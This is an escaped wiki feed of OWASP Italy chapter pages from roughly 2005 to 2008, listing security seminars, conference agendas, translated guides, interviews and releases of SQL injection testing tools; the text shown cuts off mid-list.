&lt;br /&gt;
=== November 5th, 2005 - IDC - European Banking Forum  ===&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
Thanks to Raoul Chiesa (Director of Communication OWASP-Italy), we have had a great speech at the IDC European IT Banking Forum 2005 (18 Nov 2005). http://www.idc.com/italy/events/banking05/banking05_agenda.jsp Agenda: &lt;br /&gt;
&lt;br /&gt;
*New standards for the ICT security auditing in the italian banking scenario: OSSTMM and OWASP. Raoul Chiesa, Director of Communications, ISECOM/OWASP-Italy and Matteo Meucci, OWASP-Italy Chair &lt;br /&gt;
*Workshop: unusual form of attacks and banking system violation: live experience. Raoul Chiesa, Director of Communications, ISECOM/OWASP-Italy.&lt;br /&gt;
&lt;br /&gt;
You can download the report [http://cdn.idc.com/italy/downloads/report_banking05_eng.pdf here]. &lt;br /&gt;
&lt;br /&gt;
You can download the Case-Study of a vulnerable Home Banking Web Application [http://www.owasp.org/docroot/owasp/misc/IDC_BankingForum05v1.ppt here]. &lt;br /&gt;
&lt;br /&gt;
=== October 5th, 2005 - OWASP-Italy@SMAU2005  ===&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
SMAU is the 42a International ICT &amp;amp;amp; Consumer Electronics Exhibition for Italy. Alberto Revelli (our Technical Director) and Matteo Meucci have conducted a seminar talking about Web Application Security. Alberto has presented his new project: [http://sqlninja.sourceforge.net sqlninja]. Very cool!! &lt;br /&gt;
&lt;br /&gt;
http://www.webb.it/event/eventview/4488/1/progetto_owasp__case_study_di_applicativi_web_vulnerabili &lt;br /&gt;
&lt;br /&gt;
=== May 25th, 2005 - ISACA Rome 2nd meeting  ===&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
May 25th we'll be in ISACA Rome to present OWASP WebGoat and a real case of a Web Application Vulnerability. Every one is invited to join the meeting. &lt;br /&gt;
&lt;br /&gt;
Here is the agenda: 14.30 Registration 14.45 Matteo Meucci - Web Application Security Phase II - OWASP WebScarab and PenTest Checklist &lt;br /&gt;
&lt;br /&gt;
*A case-study of a Web Application Vulnerability: MMS Spoofing&lt;br /&gt;
&lt;br /&gt;
--- Web Application analysis --- Authentication and Billing of the MMS service --- Vulnerabilities --- Attack Analysis &lt;br /&gt;
&lt;br /&gt;
*Learning the most common web application vulnerabilities: OWASP WebGoat&lt;br /&gt;
&lt;br /&gt;
--- Http Basics --- HTML Clues --- Hidden Field Tampering --- How to spoof a Session Cookie --- Stored Cross Site Scripting --- Command Injection --- SQL Injection --- Fail Open Authentication &lt;br /&gt;
&lt;br /&gt;
The meeting is hold at: Via Volturno, 65 (Rome) - Auditorium ATAC &lt;br /&gt;
&lt;br /&gt;
You can download the presentation [http://www.isacaroma.it/pdf/050525/OWASP.zip here]. &lt;br /&gt;
&lt;br /&gt;
=== May 18th, 2005 - Workshop on Computer Crime 2005  ===&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
&amp;lt;br&amp;gt; May 18th, 2005 OWASP-Italy is invited to present OWASP Top 10 to the &amp;quot;Workshop on Computer Crime 2005&amp;quot; titled: &amp;quot;EVOLUZIONI NORMATIVE E RECENTI PROBLEMATICHE DI SICUREZZA&amp;quot; &lt;br /&gt;
&lt;br /&gt;
The meeting is held at: Sala delle conferenze dell'Istituto Centrale della Banche Popolari Italiane Via Verziere, 11 &lt;br /&gt;
&lt;br /&gt;
You can download the presentation [http://www.owasp.org/images/a/aa/Top10-ComputerCrimes.ppt here]. &lt;br /&gt;
&lt;br /&gt;
=== March 31th, 2005 - ISACA Rome meeting  ===&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
March 31th we'll be in ISACA Rome to present OWASP and the Web Application Security. Every one is invited to join the meeting. &lt;br /&gt;
&lt;br /&gt;
Here is the agenda: 14.15 Registration 14.30 Matteo Meucci - Web Application Security - OWASP Guide: how to build secure web application - How to test your Web Application: WebScarab and the WebApp PenTest Checklist - How to learn the most common web application vulnerability: WebGoat - The Top Ten WebApp vulnerabilities - Common error on developing Web Application: Authentication mechanisms not &amp;quot;secure&amp;quot; Buffer Overflow and crash of the service Thief of identity: Cross Site Scripting Manipulation of company data: SQL Injection Reserved information: misconfiguration Bad session management and thief of identity - OWASP-Italy: projects and next challenges &lt;br /&gt;
&lt;br /&gt;
The meeting is hold at: Via Volturno, 65 (Rome) - Auditorium ATAC http://www.isacaroma.it/html/GiornateDiStudio.html &lt;br /&gt;
&lt;br /&gt;
You can download the presentation [http://www.isacaroma.it/pdf/050331/meucci.zip here]. &lt;br /&gt;
&lt;br /&gt;
=== March 21th, 2005 - OWASP-Italy conducts a seminar in AlmaWeb  ===&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
March, the 21th OWASP-Italy has been invited at the University of Bologna to conduct a seminar regards to [http://www.almaweb.unibo.it/830.dyn Master in Management and Information Technology] titled “Web Application Security and OWASP”. &lt;br /&gt;
&lt;br /&gt;
Here is the agenda: - OWASP &amp;amp;amp; Web Application Security - Common Web Application Vulnerabilities - A real case of web application vulnerability: MMS Spoofing&amp;amp;amp;Billing - Training: WebGoat &lt;br /&gt;
&lt;br /&gt;
==== Publications  ====&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== October 2009 Interview on &amp;quot;Il sole 24 ore&amp;quot;  ===&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
[http://www.owasp.org/images/5/5c/Nova09.pdf Gary McGraw and Matteo Meucci] interviewed by NOVA, talking about BSIMM and OWASP.&lt;br /&gt;
&lt;br /&gt;
=== March, 2007 Interview on HTML.it  ===&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
Luca Carettoni has published an interview to OWASP-Italy (OWASP interviews OWASP&amp;amp;nbsp;:) ) [http://blog.html.it/archivi/2007/02/26/quattro-chiacchiere-con-owasp-italia.php Here] the full article. &lt;br /&gt;
&lt;br /&gt;
=== October, 2006 ISACA Roma interviews OWASP-Italy  ===&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
After the speeches that OWASP-Italy has done at [http://www.smau.it/catnews.asp?l=2&amp;amp;codcat=385 SMAU E-Academy 2006], ISACA Roma has interviewed some of the people of the Italian chapter. Follow the links for the full interviews (in italian): &amp;lt;br&amp;gt; [[http://www.isacaroma.it/html/newsletter/node/276 Matteo Meucci]] [[http://www.isacaroma.it/html/newsletter/node/287 Alberto Revelli ]] [[http://www.isacaroma.it/html/newsletter/node/282 Antonio Parata]] [[http://www.isacaroma.it/html/newsletter/node/285 Paolo Perego]] [[http://www.isacaroma.it/html/newsletter/node/322 Stefano Di Paola &amp;amp;amp; Giorgio Fedon]] &lt;br /&gt;
&lt;br /&gt;
=== Aug, 2006 - Article on Banca Finanza magazine  ===&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
Banca Finanza, the italian magazine about finance and banking, has interviewed Raoul Chiesa talking about the new risks for the on-line banking security. Raoul speaks about OWASP and web application security [[Media:042006BF.pdf]] &lt;br /&gt;
&lt;br /&gt;
=== June, 2006 - Quaderno CLUSIT  ===&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
CLUSIT has published a book entitled: &amp;quot;La verifica della sicurezza di applicazioni Web-based e il progetto OWASP&amp;quot;. Several OWASP-Italy members (R.Chiesa, L.De Santis, M.Graziani, L.Legato, M.Meucci, A.Revelli) have contributed to the writing. The document is now reserved to CLUSIT members, but it will be public in about 3 months. &lt;br /&gt;
&lt;br /&gt;
=== June, 2006 - Paper on SQL Injection and Inference on PHP/MySQLInference  ===&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
Antonio &amp;quot;s4tan&amp;quot; Parata has published an article about SQL Injection based on Inference for testing web application on PHP/MySQL platform. [http://www.ictsc.it/papers/sqlInferenceOnMySql.html Here]you can read the full article. &lt;br /&gt;
&lt;br /&gt;
=== May, 2006 - Published an article about OWASP and Top-10 Vulnerabilities  ===&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
Luca Carettoni has published the article &amp;quot;La sicurezza delle applicazioni Web secondo l'Open Web Application Security Project&amp;quot;. [http://sicurezza.html.it/articoli/leggi/1721/la-sicurezza-delle-applicazioni-web-secondo-lopen-/ Here]you can read the full article. &lt;br /&gt;
&lt;br /&gt;
=== June, 2005 - OWASP Pen Test Checklist v 1.1 in Italian  ===&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
Thanks to Massimiliano Graziani we have translated in italian the &amp;quot;OWASP Pen Test Checklist v.1.1&amp;quot;. You can download it [http://www.owasp.org/documentation/testing.html here.] Thanks to the collaboration with CLUSIT, this doc is available also [http://www.clusit.it/whitepapers.htm here.] &lt;br /&gt;
&lt;br /&gt;
=== May, 2005 - Isaca Roma Newsletter about OWASP-Italy  ===&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
ISACA Roma Newsletter has published an [http://www.isacaroma.it/html/newsletter/?q=node/78 interview to OWASP-Italy] &lt;br /&gt;
&lt;br /&gt;
=== April, 2005 - Published &amp;quot;MMS Spoofing&amp;quot;  ===&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
We have published a presentation describing a detailed case study of a web application vulnerabilty [http://www.owasp.org/images/7/72/MMS_Spoofing.ppt (MMS Spoofing)]. &lt;br /&gt;
&lt;br /&gt;
Jim Hewitt, CISSP PMP working at CGI-AMS, affirms (slide#78): &amp;quot;Very interesting analysis of spoofed cell phone messaging and fraudulent billing&amp;quot;. See: www.techvalleynyissa.org/Resources/2005_07_WebApplicationSecurity.ppt &lt;br /&gt;
&lt;br /&gt;
=== April, 2005 - Published an article on ICT Security magazine  ===&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
We have written an article describing the OWASP projects, Web Application Security and the next challenges. '''ICT Security'''.(the italian magazine about Information Security) has published the article on the number 33 - April 2005. &lt;br /&gt;
&lt;br /&gt;
=== March, 2005 - OWASP Top-10 in Italian  ===&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
Thanks to Matteo Paolelli we have translated the '''&amp;quot;OWASP Top Ten Vulnerabilties in Web Application Security&amp;quot;''' in italian language. You can download it [http://www.owasp.org/docroot/owasp/projects/topten/OWASPTopTen2004-ITA.pdf here]. &lt;br /&gt;
&lt;br /&gt;
&amp;lt;br&amp;gt; &lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
==== Tools &amp;amp;amp; Research  ====&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
=== Nov, 2007 - sqlmap v0.5  ===&lt;br /&gt;
&lt;br /&gt;
Bernardo Damele and Daniele Bellucci have released the fifth versions of the tool [http://sqlmap.sourceforge.net sqlmap]. sqlmap is an automatic SQL injection tool entirely developed in Python. It is capable to perform an extensive database management system back-end fingerprint, retrieve remote DBMS databases, usernames, tables, columns, enumerate entire DBMS, read system files and much more taking advantage of web application programming security flaws that lead to SQL injection vulnerabilities. &lt;br /&gt;
&lt;br /&gt;
You can download the latest stable version from its [https://sourceforge.net/project/showfiles.php?group_id=171598&amp;amp;package_id=196107 SourceForge File List page] or the latest development version from its [https://sqlmap.svn.sourceforge.net/svnroot/sqlmap SourceForge SVN repository]. &lt;br /&gt;
&lt;br /&gt;
=== Dec, 2006 - sqlmap v0.2  ===&lt;br /&gt;
&lt;br /&gt;
Bernardo Damele and Daniele Bellucci have released a second version of the tool &amp;quot;sqlmap&amp;quot; for Automatic Blind SQL Injection. [http://sqlmap.sourceforge.net/ Here] you can download the tool &lt;br /&gt;
&lt;br /&gt;
=== September, 2006 - Wisec Project  ===&lt;br /&gt;
&lt;br /&gt;
Stefano Di Paola is developing Wisec - The Wiki Security Project [http://www.wisec.it Here] you can accesses the project. &lt;br /&gt;
&lt;br /&gt;
=== July, 2006 - Sqlmap v0.0.1  ===&lt;br /&gt;
&lt;br /&gt;
Daniele Bellucci has developed a first version of the tool &amp;quot;sqlmap&amp;quot; for Automatic Blind SQL Injection. [http://www.linux.it/~belch/?p=17 Here] you can download the tool &lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
__NOTOC__ &amp;lt;headertabs /&amp;gt; &lt;br /&gt;
&lt;br /&gt;
[[Category:OWASP_Chapter]]&lt;br /&gt;
[[Category:Europe]]&lt;/div&gt;</summary>
		<author><name>Icesurfer</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Italy_OWASP_Day_2&amp;diff=26581</id>
		<title>Italy OWASP Day 2</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Italy_OWASP_Day_2&amp;diff=26581"/>
				<updated>2008-03-11T10:45:27Z</updated>
		
		<summary type="html">&lt;p&gt;Icesurfer: /* OWASP Day II Italy - Conference Schedule - March 31st 2008 */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&amp;lt;center&amp;gt;'''OWASP Day 2:  &amp;quot;The State of the Art of the Web Application Security and the OWASP guidelines in the Companies&amp;quot;'''&lt;br /&gt;
&lt;br /&gt;
Centro Congressi dell'Università di Roma &amp;quot;La Sapienza&amp;quot;&lt;br /&gt;
&lt;br /&gt;
31st March 2008 - Roma&lt;br /&gt;
&lt;br /&gt;
[http://mastersicurezza.uniroma1.it http://www.owasp.org/images/7/7d/Master.jpg]&lt;br /&gt;
&amp;lt;/center&amp;gt;&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''OWASP-Day Sponsors'''&lt;br /&gt;
&lt;br /&gt;
&amp;lt;center&amp;gt;&lt;br /&gt;
[http://www.fortifysoftware.com http://www.owasp.org/images/d/d1/Fortify.JPG] [http://www.f5.com http://www.owasp.org/images/7/7e/50px-F5_50px.jpg] [http://www.watchfire.com http://www.owasp.org/images/0/01/Watchfire.gif] [http://www.ste.it http://www.owasp.org/images/0/0a/STE.jpg]  [http://www.mindedsecurity.com https://www.owasp.org/images/1/1b/Logosmallminded2.png]&lt;br /&gt;
&amp;lt;/center&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Introduction ===&lt;br /&gt;
&lt;br /&gt;
Welcome to the OWASP Day II Italy Conference for 2008. Following on from the great success of OWASP Day I in 2007 the second conference will take place in March 2008.&lt;br /&gt;
&lt;br /&gt;
* The conference represents a day of Web App Sec debate for all the OWASP chapters in the world during the week from 31st March to 5th April.&lt;br /&gt;
&lt;br /&gt;
* Thanks to the collaboration with the Master in Information Security of the &amp;quot;La Sapienza&amp;quot; University, next 31st March we will host the Conference: &amp;quot;The State of the Art of the Web Application Security and the OWASP guidelines in the Companies&amp;quot;.&lt;br /&gt;
&lt;br /&gt;
* OWASP Day 2 is an all day Conference.&lt;br /&gt;
&lt;br /&gt;
'''Topic:'''&lt;br /&gt;
&lt;br /&gt;
Conference topics will be:&lt;br /&gt;
* The evolution of attacks and countermeasures for the security in the Web Application.&lt;br /&gt;
&lt;br /&gt;
* Case studies of how the Companies have adopted the OWASP Guidelines in their SDLC.&lt;br /&gt;
&lt;br /&gt;
'''Organization and goals:'''&lt;br /&gt;
&lt;br /&gt;
* The event will show several points of discussion: during the first phase we will talk from a higher level of the topic, and then we will discuss the problem from a technical point of view.&lt;br /&gt;
&lt;br /&gt;
* As conclusion of the day, we will organize a round table with international guests discussing the more interesting subjects come out during the event.&lt;br /&gt;
&lt;br /&gt;
* Conference goal is that to create a debate on which will be the evolution of the Web Application Security.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== OWASP Day II Italy - Conference Schedule - March 31st 2008 ==&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;AGENDA (DRAFT)&amp;lt;/b&amp;gt;:&lt;br /&gt;
&amp;lt;center&amp;gt;&lt;br /&gt;
&amp;lt;table width=&amp;quot;80%&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td width=4%&amp;gt;9:00h&amp;lt;/td&amp;gt;&amp;lt;td bgcolor=&amp;quot;#BCA57A&amp;quot; width=*&amp;gt;&amp;lt;b&amp;gt;Registration&amp;lt;/b&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td valign=top&amp;gt;9.30h&amp;lt;/td&amp;gt;&amp;lt;td bgcolor=&amp;quot;#eeeeee&amp;quot;&amp;gt;&amp;lt;b&amp;gt;&amp;quot;Welcome and open of the works&amp;quot;&amp;lt;/b&amp;gt;&amp;lt;br&amp;gt;Prof. L.Mancini - Director of the Master in Information Security, Università &amp;quot;La Sapienza&amp;quot; Rome.&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td valign=top&amp;gt;9.45h&amp;lt;/td&amp;gt;&amp;lt;td bgcolor=&amp;quot;#b9c2dc&amp;quot;&amp;gt;&amp;lt;b&amp;gt;&amp;quot;Introduction to the OWASP Day II&amp;quot;&amp;lt;/b&amp;gt;&amp;lt;br&amp;gt; Matteo Meucci - OWASP-Italy Chair, CEO Minded Security&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td valign=top&amp;gt;10.00h&amp;lt;/td&amp;gt;&amp;lt;td bgcolor=&amp;quot;#eeeeee&amp;quot;&amp;gt;&amp;lt;b&amp;gt;&amp;quot;L'implementazione dello sviluppo sicuro delle applicazioni secondo Telecom Italia&amp;quot;&amp;lt;/b&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
Marco Bavazzano - CISO TELECOM Italia&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td valign=top&amp;gt;10.30h&amp;lt;/td&amp;gt;&amp;lt;td bgcolor=&amp;quot;#b9c2dc&amp;quot;&amp;gt;&amp;lt;b&amp;gt;&amp;quot;SQL Injection tricks: building the bridge between the Web App and the&lt;br /&gt;
Operating System&amp;quot;&amp;lt;/b&amp;gt;&amp;lt;br&amp;gt;Alberto Revelli - Portcullis Computer Security&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt; &lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td valign=top&amp;gt;11.00h&amp;lt;/td&amp;gt;&amp;lt;td bgcolor=&amp;quot;#eeeeee&amp;quot;&amp;gt;&amp;lt;b&amp;gt;&amp;quot;Le problematiche di Web Application Security: la visione di ABI&amp;quot;&amp;lt;/b&amp;gt;&amp;lt;br&amp;gt;Matteo Lucchetti, Romano Stasi - ABI&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td valign=top&amp;gt;11.30h&amp;lt;/td&amp;gt;&amp;lt;td bgcolor=&amp;quot;#b9c2dc&amp;quot;&amp;gt;&amp;lt;b&amp;gt;&amp;quot;OWASP Backend Security Project&amp;quot;&amp;lt;/b&amp;gt;&amp;lt;br&amp;gt;Carlo Pelliccioni - Spike Reply&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td valign=top&amp;gt;12.00h&amp;lt;/td&amp;gt;&amp;lt;td bgcolor=&amp;quot;#BCA57A&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Buffet&amp;lt;/b&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td valign=top&amp;gt;14.00h&amp;lt;/td&amp;gt;&amp;lt;td bgcolor=&amp;quot;#eeeeee&amp;quot;&amp;gt;&amp;lt;b&amp;gt;&amp;quot;Web Services and SOA Security &amp;quot; (ENG)&amp;lt;/b&amp;gt;&amp;lt;br&amp;gt;Laurent Petroque, Alfredo Vistola - F5&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td valign=top&amp;gt;14.30h&amp;lt;/td&amp;gt;&amp;lt;td bgcolor=&amp;quot;#b9c2dc&amp;quot;&amp;gt;&amp;lt;b&amp;gt;&amp;quot;How to start a software security initiative within your organization: a maturity based and metrics driven approach.&amp;quot;&amp;lt;/b&amp;gt;&amp;lt;br&amp;gt;Marco Morana - CISO Citigroup&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt; &lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td valign=top&amp;gt;15.00h&amp;lt;/td&amp;gt;&amp;lt;td bgcolor=&amp;quot;#eeeeee&amp;quot;&amp;gt;&amp;lt;b&amp;gt;&amp;quot;Secure Programming with Static Analysis&amp;quot; (ENG)&amp;lt;/b&amp;gt;&amp;lt;br&amp;gt;Jacob West - Head of Fortify Software's Security Research Group&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td valign=top&amp;gt;15.30h&amp;lt;/td&amp;gt;&amp;lt;td bgcolor=&amp;quot;#b9c2dc&amp;quot;&amp;gt;&amp;lt;b&amp;gt;&amp;quot;The Owasp Orizon project: internals and hands on&amp;quot;&amp;lt;/b&amp;gt;&amp;lt;br&amp;gt;Paolo Perego - Spike Reply&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td valign=top&amp;gt;16.00h&amp;lt;/td&amp;gt;&amp;lt;td bgcolor=&amp;quot;#BCA57A&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Coffe break&amp;lt;/b&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td valign=top&amp;gt;16.30h&amp;lt;/td&amp;gt;&amp;lt;td bgcolor=&amp;quot;#eeeeee&amp;quot;&amp;gt;&amp;lt;b&amp;gt;&amp;quot;Internet Banking e Web Security&amp;quot;&amp;lt;/b&amp;gt;&amp;lt;br&amp;gt;Giorgio Fedon - Minded Security&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td valign=top&amp;gt;17:00h&amp;lt;/td&amp;gt;&amp;lt;td bgcolor=&amp;quot;#eeeee1&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Round table:&amp;lt;/b&amp;gt; Quali sono le contromisure che le aziende stanno adottando ai nuovi possibili attacchi? Responsible disclosure: quale è il miglior approccio? Come si può implementare un ciclo di vita del software con processi di sicurezza garantendo un adeguato ROSI? La sensibilizzazione degli utenti: leva fondamentale al fine di implementare controlli di sicurezza?&lt;br /&gt;
&amp;lt;br&amp;gt;Panelist: Raoul Chiesa - CTO MediaService, Matteo Flora, Matteo Lucchetti - ABI, Marco Morana - Citigroup, Stefano Di Paola - CTO Minded Security, Keynote: Matteo Meucci&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;/table&amp;gt;&lt;br /&gt;
&amp;lt;/center&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Where ==&lt;br /&gt;
&lt;br /&gt;
Centro Congressi dell'Università di Roma &amp;quot;La Sapienza&amp;quot;. &lt;br /&gt;
Via Salaria, 113 Roma.&lt;br /&gt;
&lt;br /&gt;
'''Subscriptions:'''&lt;br /&gt;
&lt;br /&gt;
To subscribe to the event please send an email with the subject &amp;quot;OWASP Day 2&amp;quot; to the following address:&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;b&amp;gt;mastersicurezza&amp;lt;at&amp;gt;di.uniroma1.it&amp;lt;/b&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Entrance is &amp;lt;b&amp;gt;FREE&amp;lt;/b&amp;gt; for all the subscribed persons (300 seats).&lt;br /&gt;
&lt;br /&gt;
----&lt;/div&gt;</summary>
		<author><name>Icesurfer</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Italy&amp;diff=21490</id>
		<title>Italy</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Italy&amp;diff=21490"/>
				<updated>2007-09-06T13:27:39Z</updated>
		
		<summary type="html">&lt;p&gt;Icesurfer: /* NEXT EVENT:: September 10th, 2007 - OWASP Day WorldWide: &amp;quot;Privacy in the 21st Century&amp;quot; */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Chapter Template|chaptername=Italy|extra=The chapter leader is [mailto:matteo.meucci@gmail.com Matteo Meucci]|mailinglistsite=http://lists.owasp.org/mailman/listinfo/owasp-italy|emailarchives=http://lists.owasp.org/pipermail/owasp-italy}}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== NEXT EVENT:: September 10th, 2007 - OWASP Day WorldWide: &amp;quot;Privacy in the 21st Century&amp;quot; ==&lt;br /&gt;
----&lt;br /&gt;
[[Image:Master.jpg]]&lt;br /&gt;
&lt;br /&gt;
Thanks to the collaboration with the [http://mastersicurezza.uniroma1.it Master on Information Security of the Universita di Roma &amp;quot;La Sapienza&amp;quot;], we have organized the OWASP Day here in Italy next 10th September 2007 during the Global Security Week.&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
The event sponsor is [http://www.watchfire.com Watchfire]:&lt;br /&gt;
&lt;br /&gt;
[[Image:Watchfire.gif]]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
* The topic will be Web Application Security &amp;amp; Privacy and we will have 6 talks: a set technical and a set more at high level.&lt;br /&gt;
&lt;br /&gt;
This is the agenda (alpha version):&lt;br /&gt;
&lt;br /&gt;
Participants registration: 9.00-9.15 &amp;lt;br&amp;gt;&lt;br /&gt;
Start meeting: 9.15&lt;br /&gt;
&lt;br /&gt;
* 9.15-9.30. Prof. L.Mancini (Director of the Master in Information Security, Univesità &amp;quot;La Sapienza&amp;quot; Rome):&lt;br /&gt;
&amp;quot;Welcome and open of the works&amp;quot;&lt;br /&gt;
&lt;br /&gt;
* 9.30-9.45 M.Meucci (OWASP-Italy Chair, CEO Minded Security):&lt;br /&gt;
&amp;quot;Introduction to the OWASP-Day and OWASP-Italy projects&amp;quot;&lt;br /&gt;
&lt;br /&gt;
* 9.45-10.15. Mauro Bregolin (Principal Consultant - KIMA Projects &amp;amp; Services):&lt;br /&gt;
&amp;quot;Privacy in the digital era&amp;quot;&lt;br /&gt;
&lt;br /&gt;
* 10.15-10.45. Carlo Pelliccioni (Security Consultant - @Mediaservice.net):&lt;br /&gt;
&amp;quot;OWASP Top 10 2007 - Are our information &amp;quot;really&amp;quot; safe?&amp;quot;&lt;br /&gt;
&lt;br /&gt;
* 10.45-11.15. Alberto Revelli (Senior Consultant - Portcullis Computer Security):&lt;br /&gt;
&amp;quot;Anti-Anti-XSS: bypassing browser protections&amp;quot;&lt;br /&gt;
&lt;br /&gt;
* 11.15-11.45. Coffe break&lt;br /&gt;
&lt;br /&gt;
* 11.45-12.15. Laurent Petroque (F5): &lt;br /&gt;
&amp;quot;Growing Application Security Awareness&amp;quot;.&lt;br /&gt;
&lt;br /&gt;
* 12.15-12.45. Luca Carettoni (Security Consultant - SecureNetwork):&lt;br /&gt;
&amp;quot;Buzzwords Security&amp;quot;&lt;br /&gt;
&lt;br /&gt;
* 12.45-13.30. Danny Allan (Director of Security Research - Watchfire):&lt;br /&gt;
&amp;quot;Hacker Attacks on the Horizon: Understanding the Top Web 2.0 Attack Vectors&amp;quot;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
* Where: Alfa room: Informatics Department - &amp;quot;La Sapienza&amp;quot; University Via Salaria 113, Rome&lt;br /&gt;
&lt;br /&gt;
* Participation: to partecipate to the OWASP Day please send an e-mail with object &amp;quot;OWASP Day: Privacy in the 21st Century &amp;quot; to the following address: mastersicurezza &amp;lt;at&amp;gt; di.uniroma1.it Entrance is FREE.&lt;br /&gt;
We have received more than 100 subscriptions, so we are sorry but the REGISTRATION IS CLOSED.&lt;br /&gt;
&lt;br /&gt;
[https://www.owasp.org/index.php/OWASP_Day Here] you can read about the global OWASP-Day.&lt;br /&gt;
&lt;br /&gt;
== Local Activities ==&lt;br /&gt;
&lt;br /&gt;
* There is already a qualified group (CISSP, CISA, BS7799 Lead Auditor, OPST, OPSA) of volunteers working on the following tasks:&lt;br /&gt;
&amp;lt;ul&amp;gt;&lt;br /&gt;
- Working at the new OWASP Testing Guide! (Matteo Meucci, Alberto Revelli, Stefano Di Paola, Giorgio Fedon, Luca Carettoni, Antonio Parata, Carlo Pelliccioni, Claudio Merloni, Mauro Bregolin)&amp;lt;br&amp;gt;&lt;br /&gt;
